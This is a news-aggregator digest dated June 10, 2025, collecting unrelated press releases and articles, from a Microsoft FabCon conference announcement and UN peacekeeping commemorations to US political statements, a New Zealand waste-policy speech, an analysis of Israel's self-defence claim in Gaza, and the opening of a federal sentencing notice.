MIL OSI Analysis – EveningReport.nz –

June 10, 2025
MIL-OSI Banking: The future of data: Microsoft Fabric Community Conference coming to Atlanta March 16-20
Source: Microsoft

Headline: The future of data: Microsoft Fabric Community Conference coming to Atlanta March 16-20

The Microsoft Fabric Community Conference is back for its third year—and we’re bringing everything and everybody you’ve loved at past events with us to Atlanta, Georgia. After unforgettable experiences at FabCon in Las Vegas and Stockholm, the Fabric community proved just how powerful it can be when we come together. With more than 13,000 attendees across our last three conferences, it’s clear: the Microsoft Fabric community is here to drive the future of data!

And yes, we’re pleased to announce; it’s happening again! Mark your calendars for #FabCon Atlanta from March 16-20, 2026, at the Georgia World Congress Center in Atlanta. Join us for the ultimate Microsoft Fabric, Power BI, SQL, Real-Time Intelligence, AI, and Databases community-led event. The third annual FabCon Americas will feature two full days of workshops ahead of sessions from your favorite Microsoft and community speakers, keynotes in the State Farm Arena, more opportunities to Ask the Experts for 1:1 support, an engaging community lounge with opportunities to network and connect with your peers, a dedicated partner pre-day, a packed expo hall, Power Hour, the second annual Data Viz World Championship, and a can’t-miss attendee party at the Georgia Aquarium.

FabCon features expert-led content by Microsoft MVPs, the Microsoft product team, partners, and the community itself. Whether you’re here to dive into the latest in Fabric, sharpen your skills, or build connections with data pros from around the world, FabCon 2026 has something for everyone.
- Don’t miss out—Register here and use code MSCATL for a $200 discount on top of current Super Early Bird pricing!
We can’t wait to take Atlanta by storm to celebrate all things Microsoft Fabric—where learning, innovation, and community collide!

What are some of the best things about FabCon coming to Atlanta?
- The GWCC will easily hold the 7,500 anticipated attendees.
- Flights into Atlanta are frequent, affordable, accessible, and often nonstop from almost anywhere in the world.
- Easy access to the GWCC and downtown from the airport via Ride Share or mass transit.
- Hotel availability to meet our needs within a five-block radius.
- Restaurants are plentiful and meals are more affordable than in many other cities.
- For the keynote, the conference center is adjacent to the State Farm Arena, the home of the Atlanta Hawks.
- The Georgia Aquarium will be an amazing location for the attendee party. They’ve got whale sharks!
Save your spot!

P.S. Want to experience the FabCon magic before next spring? Join us in September at FabCon Vienna.
MIL OSI Global Banks –
June 10, 2025
MIL-OSI United Nations: UN honours peacekeepers’ service and sacrifice

Source: United Nations – Peacekeeping

The United Nations honoured staff serving at its field missions through several events to mark the International Day of UN Peacekeepers on Thursday.

The first UN peacekeeping operation was established in 1948 and today more than 68,000 civilian, military, and police personnel are posted at 11 missions in Africa, Asia, Europe and the Middle East as well as at Headquarters in New York.

The Day pays tribute to their unwavering service and sacrifice while honouring the more than 4,400 blue helmets who have died in the line of duty over the decades – 57 in 2024 alone.

This year’s theme focuses on the future of peacekeeping and Secretary-General António Guterres noted that “peacekeepers face increasingly complex situations in an increasingly complex world.”

Deadly misinformation

He highlighted growing polarization and division across the globe, threats such as terrorism and deadly misinformation targeting peacekeepers, as well as challenges that transcend borders ranging from climate change to transnational crime.

“Now more than ever, the world needs the United Nations – and the United Nations needs peacekeeping that is fully equipped for today’s realities and tomorrow’s challenges,” he said.

The Secretary-General stressed that “it is essential that peacekeepers have what they need to do their jobs” and “this is the shared responsibility of the United Nations and Member States.”

The commemoration at Headquarters included a wreath-laying ceremony as well as the presentation of awards to two outstanding women peacekeepers whose work helps to advance gender equality in the field.

Listen to our interview with Squadron Leader Sharon Mwinsote Syme of Ghana, the 2024 UN Military Gender Advocate of the Year.

‘A very rewarding job’

Meanwhile, peacekeepers have been sharing what it means to serve under the UN flag.

“It’s a very rewarding job because you really do have a lot of contact with the civilian population and their concerns, their culture, their needs,” said Lieutenant Colonel Agustín García from Spain, deployed at the UN Interim Force in Lebanon (UNIFIL).

The mission was established in 1978 to confirm Israel’s withdrawal from Lebanon and the mandate was most recently defined in a 2006 Security Council resolution which called for a full cessation of hostilities between Hezbollah and Israel following their 34-day war on Lebanese territory that year.

Despite conflict between the sides last year, UNIFIL remains on the ground, supporting the Lebanese Armed Forces (LAF) in its efforts to restore government authority in the south and providing vital assistance to local communities including security, humanitarian aid and reconstruction of schools and hospitals.

Making a difference

Peacekeepers have served in challenging conditions ever since military observers were first dispatched nearly 80 years ago to monitor the armistice agreement between Israel and neighbouring countries.

“Most of our missions have deteriorated political and security environments,” the head of UN Peacekeeping Jean-Pierre Lacroix told journalists in New York.

He listed UNIFIL, the stabilization mission in the Democratic Republic of the Congo, MONUSCO, and the observer force in the Golan (UNDOF) as examples.

Peacekeepers everywhere “are making a critical difference on the ground in spite of all these challenges,” he said.

“I want to insist that by preserving ceasefires, by preventing the resumption of violence in those environments, by protecting every single day hundreds of thousands of civilians, our peacekeepers are really making a huge difference in the field.”

A vital partnership

For Mr. Lacroix, the annual commemoration on 29 May is also a reminder of how peacekeeping is “a very vital international partnership” and this was on full display during a recent high-level summit held in Berlin, Germany.

More than 130 delegations attended the UN Peacekeeping Ministerial which ended with many pledges of support including in areas such as personnel, specialized training and investments in emerging technologies.

“The main takeaway from the Berlin meeting was that peacekeeping remains very strongly supported by Member States,” he said.

“We take it as an encouragement for all the efforts that we’re making, and that we continue to make, to make sure that we remain fit for the future and nimble and adaptable, and also cost-effective.”

Remembering the fallen

At the wreath-ceremony, peacekeepers gathered in the lobby of UN Headquarters alongside Secretary-General Guterres to remember their fallen colleagues.

Dressed in national uniforms, topped by blue UN berets, they stood in silence and saluted as “Taps” rang out.

The 57 peacekeepers who paid the ultimate price last year, as well as another who lost his life in 1973, were posthumously awarded the Dag Hammarskjöld Medal during another ceremony in the Economic and Social Council (ECOSOC) Chamber.

The award is named after the UN’s first Secretary-General who died in 1961 in a plane crash in what is now Zambia.

“We hold them all in our hearts and we grieve with their families and loved ones. Their service and sacrifice will never be forgotten,” said Mr. Guterres.

The mood shifted from solemn to celebratory as two women peacekeepers serving in the disputed Abyei region between Sudan and South Sudan were presented top UN military and police awards.

Squadron Leader Sharon Mwinsote Syme of Ghana received the 2024 UN Military Gender Advocate Award while Chief Superintendent Zainab Mbalu Gbla of Sierra Leone was named the Woman Police Officer of the Year.

Learn more about the laureates here.

MIL OSI United Nations News –

June 10, 2025
MIL-OSI USA: Merkley, Wyden, 38 Senators Fight Trump’s Cuts to the Job Corps Program

US Senate News:

Source: United States Senator Ron Wyden (D-Ore)

June 09, 2025

In Oregon, Tongue Point, PIVOT, and Springdale Centers at Risk

Washington, D.C. – As the Trump Administration attempts to shutter the nation’s largest jobs training program for low-income and at-risk young people, Oregon’s U.S. Senators Jeff Merkley and Ron Wyden and 38 Senate colleagues demanded U.S. Labor Secretary Lori Chavez-DeRemer reverse the illegal and unconstitutional cuts to the Job Corps program that are harming students and communities in in Oregon and across the country.

“The Administration’s decision to illegally and abruptly terminate Job Corps center operations has left 25,000 students and thousands of staff across 99 Job Corps centers in the lurch,” wrote the Senators in their letter to Secretary Chavez-DeRemer. “The sudden ‘pause’ of operations at Job Corps centers puts young people’s lives at risk, especially a significant number of students who were experiencing homelessness before arriving to the program. Local communities will pay a steep price, especially the thousands of individuals who work at the centers and will lose their livelihoods.”

For more than 60 years, Job Corps has helped millions of young people in rural communities and cities alike to finish high school, learn technical skills and get good-paying jobs while providing stable housing, medical and mental health care, and other supportive services. Through Job Corps programs, young people receive the training they need to start in good-paying jobs that support their communities after graduation – including as wildland firefighters, nurses, electricians, machinists, pipefitters, and welders. Late last month, the Trump Administration indefinitely ‘paused’ operations at Job Corps sites across the country; however, a federal judge has since blocked the pause, leaving Job Corps programs with a reprieve but not certainty about their future.

Last week, Oregon’s U.S. Congresswoman Suzanne Bonamici led Oregon Democrats in Congress in denouncing the Trump Administration’s move to shut down the Job Corps centers in Oregon, including Tongue Point Job Corps Center in Astoria.

“We stand ready to work with [the administration] to strengthen Job Corps and expand access to high-quality training programs, but we vehemently oppose closing these important career pathways,” say Oregon Democrats in Congress. “We owe it to the young people in our communities, and across the country, to protect their rights to education, safety, and equal opportunity.”

Read the Senators’ letter by clicking here, and the Oregon Democrats’ letter by clicking here.

MIL OSI USA News –

June 10, 2025
MIL-OSI: TWFG’s Gordy Bunch to speak at Morgan Stanley US Financials Conference

Source: GlobeNewswire (MIL-OSI)

THE WOODLANDS, Texas, June 09, 2025 (GLOBE NEWSWIRE) — TWFG, Inc. (“TWFG”, the “Company”), a high-growth insurance distribution company, announced today that its Founder and CEO, Gordy Bunch, will be giving a fireside chat at the Morgan Stanly US Financials Conference on Wednesday, June 11^th at 4 p.m., EDT.

A live webcast will be available the day of the conference, and a replay video will be made available on TWFG.com in the Investors section under “News and Events.”

The webcast may be accessed using this Link.

About TWFG

TWFG (NASDAQ: TWFG) is a leading independent distribution platform for personal and commercial insurance in the United States, representing hundreds of insurance carriers. The Company provides innovative insurance solutions through its network of agents, carriers, and technology-driven distribution models. For more information, visit www.twfg.com.

For more information, please contact:

Investor Contact:
Gene Padgett
TWFG, Inc. – Chief Accounting Officer
Email: gene.padgett@twfg.com

PR Contact:
Alex Bunch
TWFG, Inc. – Chief Marketing Officer
E-mail: alex@twfg.com

The MIL Network –

June 10, 2025
MIL-OSI USA: Senator Marshall on Newsmax: Failure Is Not an Option

US Senate News:

Source: United States Senator for Kansas Roger Marshall

Washington – U.S. Senator Roger Marshall, M.D. (R-Kansas) joined Wake Up America on Newsmax today to discuss President Donald Trump’s ‘One Big, Beautiful Bill’ and the violent riots in Los Angeles, California, that have erupted in response to Immigration and Customs Enforcement (ICE) doing its job to remove criminal illegal aliens from our country and make America safe again.

[embedded content]

Click HERE or on the image above to watch Senator Marshall’s full interview.
On getting President Trump’s ‘One Big, Beautiful Bill’ across the finish line:
“We are not going to go home this summer without finishing this bill. Failure is not an option. This bill is going to prevent the largest tax increase in American history. It’s going to give Americans $1,000 a month more of their own money. They’ll take home $1,000 more a month. If we don’t pass this bill, that evaporates. We have to deliver [on] the President’s agenda to secure the border.
“… In this bill, there’s enough money for 2,000 miles of barrier. It’s going to double the number of ICE removal agents… We have 400,000 violent illegal aliens in America that we need to remove. It’s easy to spend $100,000 on their removal. So, failure is not an option.
“I agree with [Senator] Ron Johnson’s goals – that I want to get to a balanced budget. I believe we’ll do that over four years’ time. The first thing we do is grow the economy, stabilize spending… There’ll be $2 trillion of cuts in this bill before it’s all said and done, at least 2 trillion. And that’s our focus right now… I’m trying to reach out to everybody in Congress right now. Where else can we trim some money? I’m working hard on Medicaid. That would be my area of expertise. So, we’ll get there, but we have a lot of work to do now in the next three weeks.”
On the timeline of the Senate passing the ‘One Big, Beautiful Bill’:
“I wouldn’t plan on any big plans over July 4. I think that the Senate will take it right up to that day. We’re supposed to be done on Thursday before July 4. I bet we’re here all weekend. I bet we give it over to the House. Congress typically responds when there’s a deadline or a gun at their head. So, I wouldn’t make any big plans for July 4 if I was on the House side.”
On the un-American, anti-ICE riots in Los Angeles:
“Thank God we’ve had Donald Trump as our president. He’s not going to tolerate this one bit. Look these rioters have defaced a federal property. They’re setting cars on fire, and they’re treating our law enforcement horribly. President Trump is not going to tolerate that. I hope he doubles up the number of troops that were sitting there. We need to send a loud and clear message that under Donald Trump, we’re not going to tolerate this type of violence, this type of vandalism.
“We elected President Trump to remove violent illegal aliens… his people were there on June 6 to remove 40-some violent illegal aliens, murderers, people that abuse children, human trafficking, the typical lot, and then there was a riot in response to that. We need to empower President Trump. Thank God that Donald Trump is there sticking up for our military and sticking up for our law enforcement.”

MIL OSI USA News –

June 10, 2025
MIL-OSI New Zealand: Keynote speech: WasteMINZ conference

Source: New Zealand Government

Kia ora tatou. My warmest greetings to you all.
It’s a pleasure to be here with you at this year’s WasteMINZ Conference — the flagship event for New Zealand’s waste, resource recovery, and contaminated land sectors.
For over 30 years, this conference has been a space for industry leaders and innovators to come together — to be inspired, to share ideas, and to shape the future of this essential work.
Thank you for the opportunity to join you today.
As I begin, I’d like to acknowledge Parul Sood, Chair of the WasteMINZ Board, along with the board members, CEO Nic Quilty and her team, and all of today’s delegates.
I also want to recognise the ongoing work of WasteMINZ members — your contribution to the sector is important and appreciated.
Today, I’d like to update you on several key areas I’m working on as Minister for the Environment.
Over the past year and a half, I’ve been focused on delivering the Government’s priorities for waste, contaminated sites, and broader environmental challenges.
We know the waste sector has long-standing issues.
But these challenges come with opportunities to improve outcomes for both the natural world and our communities.
Before I expand on the Government’s work on waste, I’d like to start with some announcements.
Last year, as part of Budget 2024, I announced the Government has changed the Waste Minimisation Act 2008 to allow the waste disposal levy to be spent on a wider range of activities.
As part of this, levy funds were allowed to support local authorities with the costs of managing waste from emergencies.
We know the frequency and magnitude of emergency events are increasing, partly due to the rise in severe weather events.
Emergency events often generate large volumes of waste, which needs to be dealt with quickly.
Today, I am pleased to confirm that we have now established emergency waste funding.
The funding will support councils with the cost of managing waste following an emergency, including repairing or replacing damaged waste infrastructure.
The Canterbury and Kaikōura earthquakes, recent cyclones, the Auckland Anniversary floods, and many other large-scale events have underscored the importance of resilient waste management and minimisation facilities and services.
So far, the costs of managing waste caused by these events have been dealt with on an ad-hoc basis, with no standing funds available to support councils.
The emergency waste funding will give councils timely access to funding to deal with waste in the aftermath of emergency events.
This will reduce the financial burden of these events on central and local government.
The simple application process means councils will be able to quickly and easily access funding.
Waste management in emergency events is a critical service to get up and running quickly, to reduce public health risks and support communities to get back on their feet.
This new funding will help councils and communities when they need it most.
Now, I would like to draw your attention to a new report on construction and demolition waste, which I know is a topic you will be keenly interested in.
Construction projects are essential to growing our economy.
However, they also leave behind a staggering amount of waste, which places a burden on New Zealand’s landfills and the environment.
Yesterday, the Ministry for the Environment published the first national baseline report for construction and demolition waste.
This baseline measure is the first of its kind in New Zealand.
It will help us evaluate the state of construction and demolition waste, giving us a starting point for comparing changes over time.
The national baseline report provides an overview of how much construction and demolition waste New Zealand is sending to landfill, and what materials make up this waste stream.
The results show that construction and demolition waste is New Zealand’s largest waste stream and highlight the significant role that surplus soil and rubble play.
To cover off a few key statistics from the report:
An estimated 5.25 million tonnes of construction and demolition waste was disposed at levied facilities (class 1-4) in 2023. This represents almost 70 per cent of all waste disposed at levied facilities.
Of all levied construction and demolition waste disposed, nearly 80 per cent of that waste is soil or rubble.
Of the remaining construction and demolition waste, timber, plastics, plasterboard and textiles (i.e. carpet) make up notable proportions of the overall waste stream.
Further to these findings, as many of you will know, last month I met with the WasteMINZ sector group on surplus soils.
This was to discuss the group’s proposal to develop a national soils management framework through a Waste Minimisation Fund grant.
I would like to thank Nic Quilty, Parul Sood, Rod Lidgard and James Corbett for taking the time to meet with me to discuss this important issue.
I understand managing surplus soils is a long-standing challenge, with no national rules or clear guidance on how to reuse them.
The national baseline report highlights the scale of the problem.
Valuable soil resources are being lost to landfill, with clean or slightly contaminated soils often unnecessarily landfilled.
This contributes to landfill overuse, emissions, and high project costs.
For these reasons, I am pleased to confirm today that I support the WasteMINZ proposal to fund a national soils management framework.
Ministry for the Environment officials will be working with WasteMINZ to develop a phased approach for addressing these issues.
Details are still to be finalised, and the sector will be kept updated.
Following these announcements, I’d like to now move on to our waste strategy and work programme.
You may be aware that I recently launched the Government’s strategy to reduce waste and improve how it’s managed in New Zealand.
The strategy sets out the Government’s approach to reducing the environmental and economic harm caused by waste.
Alongside that, I confirmed a comprehensive waste work programme to implement the strategy’s goals.
You’ll be aware of some changes made late last year to existing waste policies.
We’re reducing costs to ratepayers by leaving decisions about kerbside collections, including food scraps, up to local councils.
The Waste Minimisation Fund will continue to support councils that choose to adopt these services.
We’ve also removed the 2025 deadline to phase out all PVC and polystyrene food and drink packaging.
We have had a positive response from industry on this decision as it gives them more time to adopt alternatives, while ensuring that new regulations are practical and workable.
These adjustments support our waste strategy while minimising cost-of-living pressures.
Our waste work programme is well underway, and I’d like to start by highlighting the proposed amendments to our waste legislation.
These changes would replace the Waste Minimisation Act 2008 and the Litter Act 1979, with the aim of reducing inefficiencies and providing greater clarity around the roles of central government, local government, and the wider waste sector.
We recently consulted on these proposals, which aim to make the legislative framework clearer and more effective.
Consultation closed on 1 June, and I want to sincerely thank everyone who took the time to make a submission.
Officials are now carefully considering that feedback to help inform the policy development.
The aim is to introduce the new legislation before the next general election.
We also recently asked New Zealanders to share their views on proposed regulations to improve the way waste from commonly used farm plastic products is managed.
We’re proposing new regulations to support a national product stewardship scheme covering agrichemical containers and other farm plastics, such as bale wrap.
As someone who has lived on a farm almost all my life, I know how important this is.
It would bring together the services of existing schemes Agrecovery and Plasback, simplifying recycling and disposal for farmers and growers, and expanding access into a nationwide service.
This scheme would be funded through an advance disposal fee and offer free, nationwide take-back services.
And it won’t just benefit farmers—sectors like forestry, tourism, hospitality, and manufacturing could also participate.
We have had strong engagement and feedback throughout the consultation process.
Thank you to everyone who shared their valuable insights.
In addition to the consultation on farm plastics, I’d like to provide a brief update on the progress of other product stewardship schemes.
Product stewardship schemes are designed to ensure everyone in a product’s life cycle shares responsibility to reduce its environmental impact at the end of its life.
The Tyrewise scheme is a strong example of this principle in action.
Tyrewise addresses the estimated 6.5 million tyres that reach end of life in New Zealand each year.
Since going live last September, the scheme has collected and repurposed more than 2.8 million tyres into fuel and other useful products.
It is also on track to exceed its first-year targets – an incredible achievement.
I commend everyone involved in the development and daily operation of the scheme for their dedication and impact.
I also want to acknowledge the efforts of everyone involved in the accredited synthetic refrigerants scheme, known as Cool-Safe.
This scheme has been operating since 1993 and has now successfully collected over 600,000 kilograms of synthetic refrigerants, significantly reducing their environmental impact.
We are actively working with this scheme and the wider industry to support the responsible end-of-life management of these gases.
Earlier this year I received the Plastic Packaging Product Stewardship scheme co-design recommendations report.
I want to sincerely thank everyone who contributed to this report – it represents the culmination of over two years of dedicated work.
We will carefully consider the recommendations and continue to work with stakeholders to plan the next steps in developing this important scheme.
Work is also progressing on electrical and electronic products (e-waste).
I’m aware safe battery disposal is a growing concern for the sector, as improperly disposed of batteries pose significant fire risks.
There is currently a high level of activity in the battery space, with multiple stakeholders across industry and government actively engaged.
This momentum is encouraging, and I look forward to seeing continued progress toward a safe, more sustainable approach to managing e-waste in New Zealand.
Another area of focus focuses is remediating contaminated sites, including historic landfills vulnerable to weather events.
Historic landfills can be compromised by erosion, storm surges, rainfall events, high river levels and flooding.
There are hundreds of historic landfills and contaminated sites around New Zealand vulnerable to severe weather.
Remediating these sites is vital for protecting our environment from harm.
No-one wants a repeat of the Fox River landfill event in 2019.
Communities should not be left dealing with the aftermath of old landfill breaches.
Acting early to remediate these sites also saves money in the long run.
Councils have been asking for more support – and now they have it.
Last year, I opened the new Contaminated Sites and Vulnerable Landfills Fund, a $20 million fund to support councils and landowners.
This fund replaces the previous Contaminated Sites Remediation Fund and significantly increases support.
Regional, unitary and territorial authorities can now apply.
The Ministry is actively supporting councils with applications.
There has been great progress already, like the remediation project at Tāhunanui Beach in Nelson where $2.9 million of Government support has helped remove more than 10,000 cubic metres of contaminated material from underneath the beach carpark.
This project is a great example of what this new fund can support.
More information is on the Ministry for the Environment website.
I would like to now move onto our work in improving recycling.
Standardising the materials accepted in kerbside recycling was a vital first step — sending a clear signal to businesses and households about what can be recovered through kerbside systems across New Zealand.
Thank you to everyone who helped develop this policy.
There is still work to do, but the new Recycling Leadership Forum is a great next step.
The forum is exploring challenging kerbside issues, including the tricky items that don’t currently fit the system.
I’m watching their work with interest and expect to receive their first report on potential solutions soon.
Plastic is part of daily life, and while it has benefits, it creates far-reaching waste problems.
On the international stage, New Zealand is playing a part in negotiating a treaty to tackle plastic pollution globally.
Our delegation is heading to the next round of negotiations in Geneva in August.
Domestically, we continue to reduce waste and support recycling innovation.
The latest Our Environment 2025 report shows that our landfills received 11 per cent less waste per capita in 2023 than the peak in 2018.
The Waste Minimisation Fund is providing grant funding to upgrade resource recovery centres, transfer stations, and materials recovery facilities to increase the volume and quality of recovered plastic materials.
The fund is also supporting the construction of processing infrastructure to facilitate the reuse of this recovered material, stimulating the local economy and reducing our reliance on overseas markets.
We’re managing hard-to-recycle plastics and working with industry to move away from problematic packaging like PVC and polystyrene.
Thank you for your efforts.
I understand that tomorrow, Ministry for the Environment officials will be speaking to the waste work programme in more detail.
I encourage you to attend and ask any questions you may have.
In closing, I want to thank you for your time, for your contributions, and for your commitment to innovation. Your leadership matters.
Together, we are building a more resilient and sustainable New Zealand—for our people, our economy, and our environment.
I wish you all the very best for the rest of the conference.
Thank you.

MIL OSI New Zealand News –

June 10, 2025
MIL-OSI Global: Can Israel still claim self-defence to justify its Gaza war?

Source: The Conversation – Global Perspectives – By Donald Rothwell, Professor of International Law, Australian National University

On October 7 2023, more than 1,000 Hamas militants stormed into southern Israel and went on a killing spree, murdering 1,200 men, women and children and abducting another 250 people to take back to Gaza. It was the deadliest massacre of Jews since the Holocaust.

That day, Israeli Prime Minister Benjamin Netanyahu told the country, “Israel is at war”. The Israel Defence Forces (IDF) immediately began a military campaign to secure the release of the hostages and defeat Hamas. Since that day, more than 54,000 Palestinians have been killed, mostly women and children.

Israel has maintained its response is justified under international law, as every nation has “an inherent right to defend itself”, as Netanyahu stated in early 2024.

This is based on the right to self-defence in international law, which is outlined in Article 51 of the 1945 United Nations Charter as follows:

Nothing in the present Charter shall impair the inherent right of individual or collective self-defence if an armed attack occurs against a Member of the United Nations[…]

At the start of the war, many nations agreed Israel had a right to defend itself, but how it did so mattered. This would ensure its actions were consistent with international humanitarian law.

However, 20 months after the October 7 attacks, fundamental legal issues have arisen around whether this self-defence justification still holds.

Can Israel exercise self-defence ad infinitum? Or is it now waging a war of aggression against Palestine?

Self-defence in the law

Self-defence has a long history in international law.

The modern principles of self-defence were outlined in diplomatic exchanges over an 1837 incident involving an American ship, The Caroline, after it was destroyed by British forces in Canada. Both sides agreed that an exercise of self-defence would have required the British to demonstrate their conduct was not “unreasonable or excessive”.

The concept of self-defence was also extensively relied on by the Allies in the second world war in response to German and Japanese aggression.

Self-defence was originally framed in the law as a right to respond to a state-based attack. However, this scope has broadened in recent decades to encompass attacks from non-state actors, such as al-Qaeda following the September 11 2001 terror attacks.

Israel is a legitimate, recognised state in the global community and a member of the United Nations. Its right to self-defence will always remain intact when it faces attacks from its neighbours or non-state actors, such as Hamas, Hezbollah or the Houthi rebels in Yemen.

However, the right of self-defence is not unlimited. It is constrained by the principles of necessity and proportionality.

The necessity test was met in the current war due to the extreme violence of the Hamas attack on October 7 and the taking of hostages. These were actions that could not be ignored and demanded a response, due to the threat Israel continued to face.

The proportionality test was also met, initially. Israel’s military operation after the attack was strategic in nature, focused on the return of the hostages and the destruction of Hamas to eliminate the immediate threat the group posed.

The legal question now is whether Israel is still legitimately exercising self-defence in response to the October 7 attacks.

This is a live issue, especially given comments by Israeli Defence Minister Israel Katz on May 30 that Hamas would be “annihilated” unless a proposed ceasefire deal was accepted.

These comments and Israel’s ongoing conduct throughout the war raise the question of whether proportionality is still being met.

A test of proportionality

The importance of proportionality in self-defence has been endorsed in recent years by the International Court of Justice.

Under international law, proportionality remains relevant throughout a conflict, not just in the initial response to an attack.

While the law allows a war to continue until an aggressor surrenders, it does not legitimise the complete destruction of the territory where an aggressor is fighting.

The principle of proportionality also provides protections for civilians. Military actions are to be directed at the foreign forces who launched the attack, not civilians.

While Israel has targeted Hamas fighters in its attacks, including those who orchestrated the October 7 attacks, these actions have caused significant collateral deaths of Palestinian civilians.

Therefore, taken overall, the ongoing, 20-month military assault against Hamas, with its high numbers of civilian casualties, credible reports of famine and devastation of Gazan towns and cities, suggests Israel’s exercise of self-defence has become disproportionate.

The principle of proportionality is also part of international humanitarian law. However, Israel’s actions on this front are a separate legal issue that has been the subject of investigation by the International Criminal Court.

My aim here is to solely assess the legal question of proportionality in self-defence and international law.

Is rescuing hostages in self-defence?

Israel could separately argue it is exercising legitimate self-defence to rescue the remaining hostages held by Hamas.

However, rescuing nationals as an exercise of self-defence is legally controversial. Israel set a precedent in 1976 when the military rescued 103 Jewish hostages from Entebbe, Uganda, after their aircraft had been hijacked.

In current international law, there are very few other examples in which this interpretation of self-defence has been adopted – and no international consensus on its use.

In Gaza, the size, scale and duration of Israel’s war goes far beyond a hostage rescue operation. Its aim is also to eliminate Hamas.

Given this, rescuing hostages as an act of self-defence is arguably not a suitable justification for Israel’s ongoing military operations.

An act of aggression?

If Israel can no longer rely on self-defence to justify its Gaza military campaign, how would its actions be characterised under international law?

Israel could claim it is undertaking a security operation as an occupying power.

While the International Court of Justice said in an advisory opinion last year that Israel was engaged in an illegal occupation of Gaza, the court expressly made clear it was not addressing the circumstances that had evolved since October 7.

Israel is indeed continuing to act as an occupying power, even though it has not physically reoccupied all of Gaza. This is irrelevant given the effective control it exercises over the territory.

However, the scale of the IDF’s operations constitute an armed conflict and well exceed the limited military operations to restore security as an occupying power.

Absent any other legitimate basis for Israel’s current conduct in Gaza, there is a strong argument that what is occurring is an act of aggression. The UN Charter and the Rome Statute of the International Criminal Court prohibit acts of aggression not otherwise justified under international law.

These include invasions or attacks by the armed forces of a state, military occupations, bombardments and blockades. All of this has occurred – and continues to occur – in Gaza.

The international community has rightly condemned Russia’s invasion as an act of aggression in Ukraine. Will it now do the same with Israel’s conduct in Gaza?

Donald Rothwell receives funding from the Australian Research Council.

– ref. Can Israel still claim self-defence to justify its Gaza war? – https://theconversation.com/can-israel-still-claim-self-defence-to-justify-its-gaza-war-257822

MIL OSI – Global Reports –

June 10, 2025
MIL-OSI USA: Reps. Sherman, Gottheimer, Moskowitz, Schrier, Wasserman-Schultz, Landsman, Schneider, Frankel Call for Legislative Action Following Back-to-Back Antisemitic Terror Attacks

Source: United States House of Representatives – Congressman Brad Sherman (D-CA)

In just the last two weeks, our country has witnessed two back-to-back antisemitic terror attacks that have left two dead and 15 seriously wounded. In Washington D.C., an antisemitic terrorist murdered Yaron Lischinsky and Sarah Milgrim as they left an event at the Capitol Jewish Museum; afterwards, the terrorist yelled “Free Palestine” and “I did it for Gaza.” In Boulder, Colorado, a terrorist who said he “wanted to kill all Zionist people” threw Molotov cocktails at a group of peaceful protestors calling for the release of the hostages held by Hamas in Gaza.

These events are an escalation of ongoing antisemitic violence that has become more and more common since Hamas’s October 7th massacre, which resulted in the deaths of 1,200 Israelis, Americans, and others; widespread torture and sexual violence; and the abduction of some 250 hostages, 56 of which remain in captivity. In the 20 months since, antisemitism has skyrocketed in the United States, with over 10,000 antisemitic incidents recorded. In Ventura County, a 69-year-old Jewish man, Paul Kessler, was bludgeoned to death by an anti-Israel protester as other anti-Israel protesters chanted “Hitler should have smashed you.” The Pennsylvania governor’s mansion was set on fire with Governor Josh Shapiro and his family inside as they celebrated Passover; the arsonist said he committed the act over what Governor Shapiro “wants to do to the Palestinian people.” In Yonkers, Ahmed Al Jabali attempted to stab Jewish barber Slava Shushakov to death to “punish Jews” over Gaza, leaving Mr. Shushakov with serious injuries. These examples, only a handful out of hundreds of violent antisemitic attacks in the past 20 months, underlie the need for urgent, serious action.

While the House will vote on two non-binding resolutions this week condemning the antisemitic attacks in Washington D.C., and Boulder, Colorado, the Jewish community is reeling, and we need Congressional leaders to come together and support real policy change.

We urge Senate Major Leader John Thune to utilize Rule 14 to bring a clean Antisemitism Awareness Act for a vote in the Senate, and we urge Speaker Mike Johnson to once again swiftly pass the Antisemitism Awareness Act in the House. Codifying the International Holocaust Remembrance Alliance (IHRA) Working Definition of Antisemitism is long overdue, and is more urgent now than ever as we see one violent anti-Zionist terror attack after another. You cannot fight antisemitism if you are unwilling to define it.

We also urge President Trump and Congressional Appropriators to fund the Nonprofit Security Grant Program (NSGP) at long-requested levels of $500 million. This money will fund security grants to nonprofit institutions which face terrorist threats, including synagogues and Jewish community institutions. It will help them put in place additional security measures like security cameras, locked doors, security guards, and more that could thwart terror attacks like the one that transpired at the Capitol Jewish Museum.

The Jewish community needs real action, not just resolutions.

###

MIL OSI USA News –

June 10, 2025
MIL-OSI USA: Higgins Announces Additional $10M in Hurricane Recovery Efforts, Total Now Over $5B
Source: United States House of Representatives – Congressman Clay Higgins (R-LA)

WASHINGTON, D.C. – Congressman Clay Higgins (R-LA) announced today that FEMA is awarding an additional $10,959,422.84 in federal grants for hurricane recovery efforts in Southwest Louisiana.

The funding is made available through the major disaster declaration for Hurricane Laura (DR-4559-LA), which Congressman Higgins supported.

The reimbursement includes:
- $3,486,986.90 to the St. Nicholas Center for Children for building replacement in response to Hurricane Laura. The reimbursement is made at 90% federal cost-share and authorized under Section 406 of the Robert T. Stafford Act.
- $3,436,062.30 to the City of Sulphur for permanent repairs to the Waste Water Treatment Generator System and Transfer Switch as a result of Hurricane Laura. The reimbursement is made at 90% federal cost-share and authorized under Section 428 of the Robert T. Stafford Act.
- $1,323,640.80 to the South Louisiana Electric Cooperative Association for permanent repairs to the Houma office building in response to Hurricane Ida. The reimbursement is made at 90% federal cost-share and authorized under Section 406 of the Robert T. Stafford Act.
- $2,712,732.84 to the South Louisiana Electric Cooperative Association for the replacement of the Houma Office building in response to Hurricane Ida. The reimbursement is made at a 90% federal cost-share and authorized under Section 428 of the Robert T. Stafford Act.
Much of our official Congressional work to advance recovery projects occurs behind the scenes. Funding finalization and the associated formal announcement of funding are the result of constant efforts over many months with FEMA and state and local stakeholders. All funding will be delivered to the State of Louisiana. The state is responsible for disbursing the funds to each sub-recipient.

A more extensive timeline of Congressman Higgins’ actions on hurricane recovery is available here.

Congressman Higgins issued the following statement:

“South Louisiana does not let storms destroy our spirit. To date, we have delivered over $5 billion in recovery relief. Our office will continue to work with our local, state, and federal partners to ensure the economic growth and prosperity of Louisiana through hurricane recovery resources.”

MIL OSI USA News –
June 10, 2025
MIL-OSI Security: Memphis Man Sentenced to Seventeen Years for Trafficking 17-Year-Old Female to Perform Commercial Sex Acts

Source: Office of United States Attorneys

NEW ORLEANS, LA – Acting U.S. Attorney Michael M. Simpson announced that DOMINIQUE PEEPLES (“PEEPLES”), age 28, from Memphis, Tennessee, was sentenced on May 28, 2025, after previously pleading guilty to Sex Trafficking of a Minor, in violation of Title 18, United States Code, Sections 1591(a)(1), 1591(b)(2), 1594(a), and 2.

